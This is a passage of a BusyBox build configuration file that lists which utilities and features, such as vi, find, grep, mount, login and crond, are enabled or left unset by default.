CONFIG_BUSYBOX_DEFAULT_OPENVT is not set CONFIG_BUSYBOX_DEFAULT_RESET=y # CONFIG_BUSYBOX_DEFAULT_RESIZE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_RESIZE_PRINT is not set # CONFIG_BUSYBOX_DEFAULT_SETCONSOLE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SETCONSOLE_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_SETKEYCODES is not set # CONFIG_BUSYBOX_DEFAULT_SETLOGCONS is not set # CONFIG_BUSYBOX_DEFAULT_SHOWKEY is not set # CONFIG_BUSYBOX_DEFAULT_PIPE_PROGRESS is not set # CONFIG_BUSYBOX_DEFAULT_RUN_PARTS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_RUN_PARTS_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_RUN_PARTS_FANCY is not set CONFIG_BUSYBOX_DEFAULT_START_STOP_DAEMON=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_START_STOP_DAEMON_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_START_STOP_DAEMON_FANCY is not set CONFIG_BUSYBOX_DEFAULT_WHICH=y # CONFIG_BUSYBOX_DEFAULT_MINIPS is not set # CONFIG_BUSYBOX_DEFAULT_NUKE is not set # CONFIG_BUSYBOX_DEFAULT_RESUME is not set # CONFIG_BUSYBOX_DEFAULT_RUN_INIT is not set CONFIG_BUSYBOX_DEFAULT_AWK=y CONFIG_BUSYBOX_DEFAULT_FEATURE_AWK_LIBM=y CONFIG_BUSYBOX_DEFAULT_FEATURE_AWK_GNU_EXTENSIONS=y CONFIG_BUSYBOX_DEFAULT_CMP=y # CONFIG_BUSYBOX_DEFAULT_DIFF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DIFF_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DIFF_DIR is not set # CONFIG_BUSYBOX_DEFAULT_ED is not set # CONFIG_BUSYBOX_DEFAULT_PATCH is not set CONFIG_BUSYBOX_DEFAULT_SED=y CONFIG_BUSYBOX_DEFAULT_VI=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_MAX_LEN=1024 # CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_8BIT is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_COLON=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_YANKMARK=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_SEARCH=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_REGEX_SEARCH is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_USE_SIGNALS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_DOT_CMD=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_READONLY=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_SETOPTS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_SET=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_WIN_RESIZE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_ASK_TERMINAL=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_UNDO is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_UNDO_QUEUE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_VI_UNDO_QUEUE_MAX=0 CONFIG_BUSYBOX_DEFAULT_FEATURE_ALLOW_EXEC=y CONFIG_BUSYBOX_DEFAULT_FIND=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_PRINT0=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_MTIME=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_MMIN is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_PERM=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_TYPE=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_EXECUTABLE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_XDEV=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_MAXDEPTH=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_NEWER=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_INUM is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_EXEC=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_EXEC_PLUS is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_USER=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_GROUP=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_NOT=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_DEPTH=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_PAREN=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_SIZE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_PRUNE=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_QUIT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_DELETE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_PATH=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_REGEX=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_CONTEXT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FIND_LINKS is not set CONFIG_BUSYBOX_DEFAULT_GREP=y CONFIG_BUSYBOX_DEFAULT_EGREP=y CONFIG_BUSYBOX_DEFAULT_FGREP=y CONFIG_BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT=y CONFIG_BUSYBOX_DEFAULT_XARGS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_CONFIRMATION=y CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_QUOTES=y CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_TERMOPT=y CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_ZERO_TERM=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_REPL_STR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_PARALLEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_XARGS_SUPPORT_ARGS_FILE is not set # CONFIG_BUSYBOX_DEFAULT_BOOTCHARTD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_BOOTCHARTD_BLOATED_HEADER is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_BOOTCHARTD_CONFIG_FILE is not set CONFIG_BUSYBOX_DEFAULT_HALT=y CONFIG_BUSYBOX_DEFAULT_POWEROFF=y CONFIG_BUSYBOX_DEFAULT_REBOOT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_WAIT_FOR_INIT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT is not set CONFIG_BUSYBOX_DEFAULT_TELINIT_PATH="" # CONFIG_BUSYBOX_DEFAULT_INIT is not set # CONFIG_BUSYBOX_DEFAULT_LINUXRC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_USE_INITTAB is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_KILL_REMOVED is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_KILL_DELAY=0 # CONFIG_BUSYBOX_DEFAULT_FEATURE_INIT_SCTTY is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INIT_SYSLOG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INIT_QUIET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS is not set CONFIG_BUSYBOX_DEFAULT_INIT_TERMINAL_TYPE="" # CONFIG_BUSYBOX_DEFAULT_FEATURE_INIT_MODIFY_CMDLINE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SHADOWPASSWDS=y # CONFIG_BUSYBOX_DEFAULT_USE_BB_PWD_GRP is not set # CONFIG_BUSYBOX_DEFAULT_USE_BB_SHADOW is not set # CONFIG_BUSYBOX_DEFAULT_USE_BB_CRYPT is not set # CONFIG_BUSYBOX_DEFAULT_USE_BB_CRYPT_SHA is not set # CONFIG_BUSYBOX_DEFAULT_ADD_SHELL is not set # CONFIG_BUSYBOX_DEFAULT_REMOVE_SHELL is not set # CONFIG_BUSYBOX_DEFAULT_ADDGROUP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_ADDUSER_TO_GROUP is not set # CONFIG_BUSYBOX_DEFAULT_ADDUSER is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHECK_NAMES is not set CONFIG_BUSYBOX_DEFAULT_LAST_ID=0 CONFIG_BUSYBOX_DEFAULT_FIRST_SYSTEM_ID=0 CONFIG_BUSYBOX_DEFAULT_LAST_SYSTEM_ID=0 # CONFIG_BUSYBOX_DEFAULT_CHPASSWD is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_DEFAULT_PASSWD_ALGO="md5" # CONFIG_BUSYBOX_DEFAULT_CRYPTPW is not set # CONFIG_BUSYBOX_DEFAULT_MKPASSWD is not set # CONFIG_BUSYBOX_DEFAULT_DELUSER is not set # CONFIG_BUSYBOX_DEFAULT_DELGROUP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DEL_USER_FROM_GROUP is not set # CONFIG_BUSYBOX_DEFAULT_GETTY is not set CONFIG_BUSYBOX_DEFAULT_LOGIN=y CONFIG_BUSYBOX_DEFAULT_LOGIN_SESSION_AS_CHILD=y # CONFIG_BUSYBOX_DEFAULT_LOGIN_SCRIPTS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_NOLOGIN is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SECURETTY is not set CONFIG_BUSYBOX_DEFAULT_PASSWD=y CONFIG_BUSYBOX_DEFAULT_FEATURE_PASSWD_WEAK_CHECK=y # CONFIG_BUSYBOX_DEFAULT_SU is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SU_SYSLOG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SU_CHECKS_SHELLS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SU_BLANK_PW_NEEDS_SECURE_TTY is not set # CONFIG_BUSYBOX_DEFAULT_SULOGIN is not set # CONFIG_BUSYBOX_DEFAULT_VLOCK is not set # CONFIG_BUSYBOX_DEFAULT_CHATTR is not set # CONFIG_BUSYBOX_DEFAULT_FSCK is not set # CONFIG_BUSYBOX_DEFAULT_LSATTR is not set # CONFIG_BUSYBOX_DEFAULT_TUNE2FS is not set # CONFIG_BUSYBOX_DEFAULT_MODPROBE_SMALL is not set # CONFIG_BUSYBOX_DEFAULT_DEPMOD is not set # CONFIG_BUSYBOX_DEFAULT_INSMOD is not set # CONFIG_BUSYBOX_DEFAULT_LSMOD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT is not set # CONFIG_BUSYBOX_DEFAULT_MODINFO is not set # CONFIG_BUSYBOX_DEFAULT_MODPROBE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST is not set # CONFIG_BUSYBOX_DEFAULT_RMMOD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CMDLINE_MODULE_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_2_4_MODULES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSMOD_VERSION_CHECKING is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSMOD_KSYMOOPS_SYMBOLS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSMOD_LOADINKMEM is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSMOD_LOAD_MAP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSMOD_LOAD_MAP_FULL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHECK_TAINTED_MODULE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSMOD_TRY_MMAP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MODUTILS_ALIAS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MODUTILS_SYMBOLS is not set CONFIG_BUSYBOX_DEFAULT_DEFAULT_MODULES_DIR="" CONFIG_BUSYBOX_DEFAULT_DEFAULT_DEPMOD_FILE="" # CONFIG_BUSYBOX_DEFAULT_ACPID is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT is not set # CONFIG_BUSYBOX_DEFAULT_BLKDISCARD is not set # CONFIG_BUSYBOX_DEFAULT_BLKID is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE is not set # CONFIG_BUSYBOX_DEFAULT_BLOCKDEV is not set # CONFIG_BUSYBOX_DEFAULT_CAL is not set # CONFIG_BUSYBOX_DEFAULT_CHRT is not set CONFIG_BUSYBOX_DEFAULT_DMESG=y CONFIG_BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY=y # CONFIG_BUSYBOX_DEFAULT_EJECT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_EJECT_SCSI is not set # CONFIG_BUSYBOX_DEFAULT_FALLOCATE is not set # CONFIG_BUSYBOX_DEFAULT_FATATTR is not set # CONFIG_BUSYBOX_DEFAULT_FBSET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE is not set # CONFIG_BUSYBOX_DEFAULT_FDFORMAT is not set # CONFIG_BUSYBOX_DEFAULT_FDISK is not set # CONFIG_BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_AIX_LABEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SGI_LABEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SUN_LABEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_OSF_LABEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_GPT_LABEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED is not set # CONFIG_BUSYBOX_DEFAULT_FINDFS is not set CONFIG_BUSYBOX_DEFAULT_FLOCK=y # CONFIG_BUSYBOX_DEFAULT_FDFLUSH is not set # CONFIG_BUSYBOX_DEFAULT_FREERAMDISK is not set # CONFIG_BUSYBOX_DEFAULT_FSCK_MINIX is not set # CONFIG_BUSYBOX_DEFAULT_FSFREEZE is not set # CONFIG_BUSYBOX_DEFAULT_FSTRIM is not set # CONFIG_BUSYBOX_DEFAULT_GETOPT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG is not set CONFIG_BUSYBOX_DEFAULT_HEXDUMP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE is not set # CONFIG_BUSYBOX_DEFAULT_HD is not set # CONFIG_BUSYBOX_DEFAULT_XXD is not set CONFIG_BUSYBOX_DEFAULT_HWCLOCK=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS is not set # CONFIG_BUSYBOX_DEFAULT_IONICE is not set # CONFIG_BUSYBOX_DEFAULT_IPCRM is not set # CONFIG_BUSYBOX_DEFAULT_IPCS is not set # CONFIG_BUSYBOX_DEFAULT_LAST is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LAST_FANCY is not set # CONFIG_BUSYBOX_DEFAULT_LOSETUP is not set # CONFIG_BUSYBOX_DEFAULT_LSPCI is not set # CONFIG_BUSYBOX_DEFAULT_LSUSB is not set # CONFIG_BUSYBOX_DEFAULT_MDEV is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MDEV_CONF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE is not set # CONFIG_BUSYBOX_DEFAULT_MESG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MESG_ENABLE_ONLY_GROUP is not set # CONFIG_BUSYBOX_DEFAULT_MKE2FS is not set # CONFIG_BUSYBOX_DEFAULT_MKFS_EXT2 is not set # CONFIG_BUSYBOX_DEFAULT_MKFS_MINIX is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MINIX2 is not set # CONFIG_BUSYBOX_DEFAULT_MKFS_REISER is not set # CONFIG_BUSYBOX_DEFAULT_MKDOSFS is not set # CONFIG_BUSYBOX_DEFAULT_MKFS_VFAT is not set CONFIG_BUSYBOX_DEFAULT_MKSWAP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID is not set # CONFIG_BUSYBOX_DEFAULT_MORE is not set CONFIG_BUSYBOX_DEFAULT_MOUNT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB is not set # CONFIG_BUSYBOX_DEFAULT_MOUNTPOINT is not set # CONFIG_BUSYBOX_DEFAULT_NOLOGIN is not set # CONFIG_BUSYBOX_DEFAULT_NOLOGIN_DEPENDENCIES is not set # CONFIG_BUSYBOX_DEFAULT_NSENTER is not set CONFIG_BUSYBOX_DEFAULT_PIVOT_ROOT=y # CONFIG_BUSYBOX_DEFAULT_RDATE is not set # CONFIG_BUSYBOX_DEFAULT_RDEV is not set # CONFIG_BUSYBOX_DEFAULT_READPROFILE is not set # CONFIG_BUSYBOX_DEFAULT_RENICE is not set # CONFIG_BUSYBOX_DEFAULT_REV is not set # CONFIG_BUSYBOX_DEFAULT_RTCWAKE is not set # CONFIG_BUSYBOX_DEFAULT_SCRIPT is not set # CONFIG_BUSYBOX_DEFAULT_SCRIPTREPLAY is not set # CONFIG_BUSYBOX_DEFAULT_SETARCH is not set # CONFIG_BUSYBOX_DEFAULT_LINUX32 is not set # CONFIG_BUSYBOX_DEFAULT_LINUX64 is not set # CONFIG_BUSYBOX_DEFAULT_SETPRIV is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SETPRIV_DUMP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SETPRIV_CAPABILITIES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SETPRIV_CAPABILITY_NAMES is not set # CONFIG_BUSYBOX_DEFAULT_SETSID is not set # CONFIG_BUSYBOX_DEFAULT_SWAPON is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI is not set # CONFIG_BUSYBOX_DEFAULT_SWAPOFF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SWAPONOFF_LABEL is not set CONFIG_BUSYBOX_DEFAULT_SWITCH_ROOT=y # CONFIG_BUSYBOX_DEFAULT_TASKSET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY is not set # CONFIG_BUSYBOX_DEFAULT_UEVENT is not set CONFIG_BUSYBOX_DEFAULT_UMOUNT=y CONFIG_BUSYBOX_DEFAULT_FEATURE_UMOUNT_ALL=y # CONFIG_BUSYBOX_DEFAULT_UNSHARE is not set # CONFIG_BUSYBOX_DEFAULT_WALL is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_LOOP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_MOUNT_LOOP_CREATE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MTAB_SUPPORT is not set # CONFIG_BUSYBOX_DEFAULT_VOLUMEID is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_BCACHE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_BTRFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_CRAMFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_EXFAT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_EXT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_F2FS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_FAT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_HFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_ISO9660 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_JFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_LFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_LINUXRAID is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_LINUXSWAP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_LUKS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_MINIX is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_NILFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_NTFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_OCFS2 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_REISERFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_ROMFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SQUASHFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SYSV is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS is not set # CONFIG_BUSYBOX_DEFAULT_ADJTIMEX is not set # CONFIG_BUSYBOX_DEFAULT_BBCONFIG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_COMPRESS_BBCONFIG is not set # CONFIG_BUSYBOX_DEFAULT_BC is not set # CONFIG_BUSYBOX_DEFAULT_DC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DC_BIG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DC_LIBM is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_BC_INTERACTIVE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_BC_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_BEEP is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_BEEP_FREQ=0 CONFIG_BUSYBOX_DEFAULT_FEATURE_BEEP_LENGTH_MS=0 # CONFIG_BUSYBOX_DEFAULT_CHAT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_NOFAIL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_TTY_HIFI is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_IMPLICIT_CR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_SWALLOW_OPTS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_SEND_ESCAPES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_VAR_ABORT_LEN is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT is not set # CONFIG_BUSYBOX_DEFAULT_CONSPY is not set CONFIG_BUSYBOX_DEFAULT_CROND=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_CROND_D is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CROND_SPECIAL_TIMES is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_CROND_DIR="/etc" CONFIG_BUSYBOX_DEFAULT_CRONTAB=y # CONFIG_BUSYBOX_DEFAULT_DEVFSD is not set # CONFIG_BUSYBOX_DEFAULT_DEVFSD_MODLOAD is not set # CONFIG_BUSYBOX_DEFAULT_DEVFSD_FG_NP is not set # CONFIG_BUSYBOX_DEFAULT_DEVFSD_VERBOSE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DEVFS is not set # CONFIG_BUSYBOX_DEFAULT_DEVMEM is not set # CONFIG_BUSYBOX_DEFAULT_FBSPLASH is not set # CONFIG_BUSYBOX_DEFAULT_FLASH_ERASEALL is not set # CONFIG_BUSYBOX_DEFAULT_FLASH_LOCK is not set # CONFIG_BUSYBOX_DEFAULT_FLASH_UNLOCK is not set # CONFIG_BUSYBOX_DEFAULT_FLASHCP is not set # CONFIG_BUSYBOX_DEFAULT_HDPARM is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA is not set # CONFIG_BUSYBOX_DEFAULT_HEXEDIT is not set # CONFIG_BUSYBOX_DEFAULT_I2CGET is not set # CONFIG_BUSYBOX_DEFAULT_I2CSET is not set # CONFIG_BUSYBOX_DEFAULT_I2CDUMP is not set # CONFIG_BUSYBOX_DEFAULT_I2CDETECT is not set # CONFIG_BUSYBOX_DEFAULT_INOTIFYD is not set CONFIG_BUSYBOX_DEFAULT_LESS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES=9999999 # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_MARKS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_WINCH is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_RAW is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LESS_ENV is not set CONFIG_BUSYBOX_DEFAULT_LOCK=y # CONFIG_BUSYBOX_DEFAULT_LSSCSI is not set # CONFIG_BUSYBOX_DEFAULT_MAKEDEVS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MAKEDEVS_LEAF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_MAKEDEVS_TABLE is not set # CONFIG_BUSYBOX_DEFAULT_MAN is not set # CONFIG_BUSYBOX_DEFAULT_MICROCOM is not set # CONFIG_BUSYBOX_DEFAULT_MT is not set # CONFIG_BUSYBOX_DEFAULT_NANDWRITE is not set # CONFIG_BUSYBOX_DEFAULT_NANDDUMP is not set # CONFIG_BUSYBOX_DEFAULT_PARTPROBE is not set # CONFIG_BUSYBOX_DEFAULT_RAIDAUTORUN is not set # CONFIG_BUSYBOX_DEFAULT_READAHEAD is not set # CONFIG_BUSYBOX_DEFAULT_RFKILL is not set # CONFIG_BUSYBOX_DEFAULT_RUNLEVEL is not set # CONFIG_BUSYBOX_DEFAULT_RX is not set # CONFIG_BUSYBOX_DEFAULT_SETFATTR is not set # CONFIG_BUSYBOX_DEFAULT_SETSERIAL is not set CONFIG_BUSYBOX_DEFAULT_STRINGS=y CONFIG_BUSYBOX_DEFAULT_TIME=y # CONFIG_BUSYBOX_DEFAULT_TTYSIZE is not set # CONFIG_BUSYBOX_DEFAULT_UBIATTACH is not set # CONFIG_BUSYBOX_DEFAULT_UBIDETACH is not set # CONFIG_BUSYBOX_DEFAULT_UBIMKVOL is not set # CONFIG_BUSYBOX_DEFAULT_UBIRMVOL is not set # CONFIG_BUSYBOX_DEFAULT_UBIRSVOL is not set # CONFIG_BUSYBOX_DEFAULT_UBIUPDATEVOL is not set # CONFIG_BUSYBOX_DEFAULT_UBIRENAME is not set # CONFIG_BUSYBOX_DEFAULT_VOLNAME is not set # CONFIG_BUSYBOX_DEFAULT_WATCHDOG is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_IPV6=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_UNIX_LOCAL is not set 